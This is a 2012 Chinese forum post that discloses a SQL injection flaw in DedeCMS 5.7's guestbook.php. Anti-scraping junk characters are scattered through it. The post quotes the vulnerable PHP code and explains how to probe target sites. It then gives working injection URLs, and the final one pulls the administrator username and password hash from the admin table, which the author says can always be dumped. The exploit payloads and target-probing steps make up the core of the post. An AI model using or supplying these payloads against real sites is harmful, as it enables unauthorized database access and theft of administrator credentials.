找回密码
 立即注册
查看: 4894|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7% n# e+ Y+ o4 A/ ]: A

: `% q2 ]$ u' J) C漏洞文件edit.inc.php具体代码:6 m) A/ P7 ]4 |: [
7 V/ v( T, G; ~+ b. m$ m
< ?php  
* d' m- l  y6 }, \7 @4 K8 h/ S  N. c6 M% D" n
if(!defined('DEDEINC')) exit('Request Error!');  
/ J: S8 h( f7 e2 S- Z' a: ^, j/ D9 E1 O" l- `8 n: Z* ^5 A0 V4 D* J
   
; i. [& V( g7 z( P/ ~/ D: r  C5 u. f( f7 S. j! m2 T' ]
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  # b5 M$ C' K  A

1 \2 Y8 X) e/ D( F) Y/ i! velse $GUEST_BOOK_POS = "guestbook.php";  % ~6 J5 g4 P- p2 i( d- F. p
  [' z* e5 O& h
   
  p  g# O+ u& R. P4 E( j2 L9 ~: {4 l
$id = intval($id);  
- _- p6 d7 q% ?9 k$ C0 t
% B9 L) P2 \# o7 W5 Gif(empty($job)) $job='view';  " `* z5 J8 Y4 h( R6 a- p
' g  p: T& S( X- D* f
   
$ j1 z4 s2 ^5 B* a3 K
# F$ ~5 A: X! \3 @2 H4 O! Cif($job=='del' && $g_isadmin)  
# ^1 O( _9 E2 P. x: m
) T# z( }$ p/ ~% I8 p{  
1 `" ~5 e# U5 l' T# {8 u: q* d
$ T5 Q0 f4 W! Z8 o! `0 V9 I% O3 o$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");    ~" i; I6 P+ n4 T8 e, `
' S' e8 |( Y8 v( I6 C$ s
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  . l3 h  @1 H0 r3 a  h( t% S' T

& l& f4 r8 P% ^exit();  
" g4 A7 B4 x$ h* s& t6 Z) R6 E' s5 |: t% S. I+ l4 y
}  ! U$ E2 F( ]2 i" N# m& ^
1 D+ s7 J6 v9 g
else if($job=='check' && $g_isadmin)  
: v  j9 w5 h) P# N; \# i- P/ S: U; u8 l$ ^
{  $ a0 c! Q% ?5 _# Z! m" p& q
5 @( G& U, z$ A0 D2 Y
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  + {' {* T% X0 V! h" h5 ^4 q7 ]

) ?. ?& v4 ~# [0 g4 ?" LShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  3 |( p4 b8 g) U6 |# _

  u2 {0 D& k* s' gexit();  2 `1 X' d2 m5 m( J$ X

; t7 C# r( ^+ `, X' X}  ( m5 X0 M0 F" ?) ~7 H
" O- _! k; H  i* J" g% h5 Z' W* Z3 Z
else if($job=='editok')  
/ v0 v9 z$ \6 u$ M6 b& r2 Q5 ]/ `% `: O5 H/ ~9 D9 P* r
{  4 l0 j8 R6 n; n5 U$ Z1 o2 u* v  g9 ~

7 K5 D/ P, y" G* ]$remsg = trim($remsg);  
; X; X% X; ~) d  P+ n1 D' v+ T- o) z3 v2 m+ H! M
if($remsg!='')  
5 F1 _6 w8 J( }3 k( c; P# p+ m6 S! T7 G/ F/ D) ?
{  ( N, Y/ h# H  X& j, Z! X7 U& P

% ?& l1 p, Z- i1 `+ A" D8 `//管理员回复不过滤HTML By:Errorera blog:errs.cc  % q0 J# k; P2 Q* E8 P

9 [; Q! y5 p' V# ~if($g_isadmin)  
' f+ }1 j: p. x
2 \  j8 r$ a# e2 W{  
+ N1 r- v5 z$ E
9 [- ?' f% |/ A. v$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  7 ], f1 m% ?2 ?0 O5 u) J! t

3 d% l0 v* v8 {' a3 N, h//$remsg <br /><font color=red>管理员回复:</font> }  ' P$ l& r. p: J! h

; G. l7 I" }$ t) X0 y, G0 B8 Y9 A7 Belse
+ x& X# e3 d" O; ~5 o) v# r# P4 z( S7 l0 Y8 U
{  " z% p, r6 z' z; w2 K' p5 m# K
2 x! I# D3 S8 K4 u# Q
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  . }. u- e% T7 U( Q: b9 Z
4 [# j  V# a& R
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  7 x+ P# B3 \  U

  n# W6 }3 F" s, V# t- E& X" M$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  7 i' L: i4 ^. u6 s# M1 s) s! f
" x3 ^8 ~" o+ p
$msg = $oldmsg.$remsg;  0 d5 L# x5 ?# H; d& U! r* o
3 A" V7 D" w/ P
}  
9 Y0 ~# S. B2 O1 }5 u
) _+ i( }3 k! Q  f+ d}  * j( @( P0 b% @7 U- n' t( O

! I7 E. X1 i! W//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
9 T, T" g8 I- v. b) _2 \$ R& ?0 Y( A+ B6 W
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
' P% {( Q! i: i( G8 B/ I+ o! }
- G! ?3 Q# Q# C$ b# TShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  . n% a+ p. i3 E; O8 D

; T; D& F/ C7 v$ J  Qexit();  
# b1 L3 T# u* s
8 ~, ~4 J/ s2 K7 ^1 X! A5 \+ K}  
. ?2 H2 w4 a% N( H  x  }5 D+ f- Q' F1 I2 q, X" i
//home:www.errs.cc  
; p* R. C7 j7 ^9 R, m9 ?# f! c9 `( E3 N( M/ g2 l
if($g_isadmin)  
) n2 H* D( U8 c9 i& r
5 n5 U: R2 d$ A. Q{  
: [1 f# C/ {4 J0 f* A# Q- r/ d
5 g& X4 J, D4 |9 U0 D8 U# D$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
4 a( T1 |5 o3 P& k/ Z- q! t* P7 Q* M* `  Q% p' ~
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
/ k+ J+ C# M) ?5 B4 `! L/ ]
; I5 K; E. }4 F' M* I& l}  / B  a0 |, k: H# U. l4 ^7 m6 y

5 ]9 R& {* V+ d4 Jelse
7 D6 A5 B; F! _' _" M: Z) Y, E. W$ ^5 z5 I+ b0 R: j2 F* {
{  
7 c6 {( E0 R" s% H' G: c
$ D: y- g0 G1 v2 o$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  / \: a0 U, f4 M2 v
' F* f% M. @2 [* X2 [; l
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  $ H1 v: }( {- A5 F) A+ {

! M% `1 ]9 R( R} 漏洞成功需要条件:
% |0 B% H! a5 q* j( x2 q. n: w1. php magic_quotes_gpc=off
1 K. `9 V# q; f# U/ Z2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
3 R9 M* Z* e3 g& q9 o, d+ ?& v" s) [' e  M# t4 ]) e" {
怎么判断是否存在漏洞:% P6 ?; W/ |* z& x0 b
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,) g* z3 {1 r/ W4 k
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
5 u/ T8 t0 t) ?( Y. h- S! o2 f访问:
8 M- z9 F# W# g5 j% {/ F% v+ O, T: s& N7 }
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了% g! U2 W" g- b! A
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
* c6 t& L4 g+ ]" t/ i0 |$ B- q: S* X8 p  D+ u
, D/ d8 m3 G- p" E6 K1 \
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
9 d  Q, d; x$ @如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
* a( g0 |3 x! X" V7 q0 V* N- x* t那么再次访问  r. z! }! f9 L; d; o6 I# S4 ~0 |
4 o% H' T. Y" ?) @
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().8 e6 n. ]; L  A' O6 C6 T" o! [1 |

2 P- G" A' c, @+ n& K大概利用就是这样,大家有兴趣的多研究下!!
3 `3 J4 Z7 M. _% t. x
- Q5 t5 f2 A8 g4 Q最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
' E7 e5 a/ J$ d
5 B( }: m6 L1 I: B1 G1 V! X0 ?, iview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表